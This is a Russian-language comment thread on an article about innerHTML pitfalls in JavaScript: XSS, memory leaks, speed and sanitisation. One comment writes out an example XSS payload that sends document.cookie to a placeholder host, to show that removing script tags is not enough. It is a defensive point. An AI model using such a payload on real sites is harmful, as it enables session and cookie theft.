Практический JS: проблемы innerHTML

Несмотря на эти недостатки (не такие уж и страшные, кстати, поделия Adobe вызывают в сотни раз большие утечки памяти, а от XSS действительно нужно защищаться. В общем-то в innerHTML скрипты я никогда не вставлял, использую его только для статичного содержимого или элементов форм), так вот, несмотря на все недостатки, не стоит забывать, что innerHTML работает более чем в 3 раза быстрее, чем обращение к DOM. Одно это для меня перекрывает все перечисленные недостатки, единственное, постоянно сталкиваюсь, если добавлять элементы формы через innerHTML+="...", не заменяя, то он все равно обнуляет "измененные" до добавления в том же блоке. Вот DOM это не грозит, поэтому, как говорится, где нужно - одно, где не нужно - другое.

Достаточной частный случай, конечно (даже с т.з. безопасности).

На самом деле при работе с Ajax, например, действительно сталкиваешься с необходимостью передать скрипт клиенту, а значит поместить его в DOM динамически (неважно каким методом).

Но, мне кажется, главное что полезно знать об этом - это то, что ваш скрипт будет работать во всех браузерах, только если вы укажете CDATA:


<script language="javascript">
// <![CDATA[

...script body...

// ]]>
</script>

В противном случае то ли IE, то ли все остальные его просто проигнорируют.

Статья инофрмативная, спасибо. Вот только слово "всавки", надо поравить во после этого "UPD: Существует огромное количество путей для".

А не знаете, возникают ли те же проблемы при использовании, к примеру, Prototype.js-кого $('id').update() ?

Принимаем любые данные, вводимые пользователями, как опасные > "чистим" всегда и все и на стороне сервера и на стороне клиента... чистим, чистим)))
Только вот интересно, а если чистить все и везде, то не быстрее ли использовать DOM и чуть-чуть чистить...? не совсем четко сформулировал, наверное.

Спасибо, интересно!
http://corporaterat.blogspot.com/2007/01/web-20-and-ajax-fundamentally-insecure.html - вот ещё достаточно любопытная статья про XSS и другие уязвимости/атаки в Ajax-е.

2 из четырёх "проблем" характерны лишь для одного из браузеров (который известный багогенератор), другие две не являются собственно проблемами, так что смысл самой статьи мало понятен

Не знаю как вам, но по мне вставка html-кода введенного пользователем через innerHTML - огромнейшая дыра в безопасности и я сначала 3 раза подумаю зачем мне это нужно прежде чем отказаться =))
Техника вырезания тэга имеет смысл для js-фреймворков, но там уже программист должен брать ответственность на себя за те данные которые он передает в методы фреймворка (я бы лично реализовал что-то вроде необязательного параметра xss_clean для чистки кода, т.к. регулярки все-таки дают ощутимую нагрузку на довольно часто используемую функцию). Хотя лично меня больше интересует как вставить html в tr в Internet Explorer, а на счет утечек памяти лучше поэкспериментировать самому ;).
Далее, очистка html от тэга не убирает всех xss атак. Например с кодом

<div onmouseover="location.href='http://www.harmful.com/?ck=' + document.cookie;">Click me</div>

ваша функция ничего не сделает.
P.S. С каких пор стало модно писать i += 1 вместо i++? :)

Ну вот, опять пугают бедных новичков :)
Они же теперь, как огня innerHTML боятся будут.
А нужно было уточнить — XSS атака здесь возможно только тогда, когда зачем-то понадобиться вставлять на клиенте через innerHTML непроверенные данные, введенные другим пользователем.

Не понял, зачем нужно защищаться именно от вставки тега SCRIPT, если выполнить при той же уязвимости (возможность подставить произвольный HTML-код) можно вставить JS в HTML многими другими путями, например - [img src='...' onLoad='...do something JS...']

А у меня вопрос. Я с InnerHTML Только начал работать. Я добавляю ИНпуты новые к форме Яваскриптом. Но $_POST["name"] новых элеметнов пустые.... Без Аякса нельзя обойтись?